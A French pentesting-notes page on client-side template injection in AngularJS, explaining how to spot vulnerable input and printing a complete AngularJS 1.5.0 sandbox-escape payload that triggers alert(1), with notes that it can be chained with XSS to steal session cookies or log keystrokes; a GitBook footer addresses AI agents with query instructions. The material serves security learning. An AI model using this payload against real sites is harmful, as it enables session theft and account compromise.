> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-client-side-template-injection-csti/csti-techniques-pentesting-web.md).

# Techniques CSTI

Comment savoir si un site web est potentiellement vulnérable à une attaque **CSTI** ? Si nous pouvons entrer une valeur dans un **entrée** comme dans le cas ci-dessous avec la variable **utilisateur** et cela est interprété dans un **sortie**:

<figure><img src="/files/cd267e1f30895af239a6839900c72601ca10bed9" alt="" width="563"><figcaption></figcaption></figure>

Par exemple, en observant le serveur web **code source**, s'il utilise des langages de programmation ou des moteurs de templates tels que **Python, Java, Jinja2, AngularJS, etc.** et si l'entrée n'est pas nettoyée, la vulnérabilité pourrait être présente :

<figure><img src="/files/6834192331635587a60953747240ca0c82823b6f" alt="" width="563"><figcaption></figcaption></figure>

Grâce au site web [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings), nous trouvons toutes les [injections possibles](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md): Dans ce cas, nous voyons que la version est le **1.5.0** de **Angular.JS**:

<figure><img src="/files/41d3625e6bc2bf52f0f576b17b072e9cca0d2d89" alt="" width="563"><figcaption></figcaption></figure>

```javascript
javascriptCopier le code{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'foo'};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}

```

Nous pouvons envoyer **des alertes** comme dans l'attaque **XXS**:

<figure><img src="/files/7399c62237afba26e1c599e8b8d54c67a645e108" alt="" width="563"><figcaption></figcaption></figure>

Cela pourrait être utilisé pour combiner cette attaque avec la [XSS ](/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss.md)et comme suit :

* *voler les cookies de session*
* *capturer toutes les frappes au clavier*
* *obtenir l'accès au serveur, etc*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-client-side-template-injection-csti/csti-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
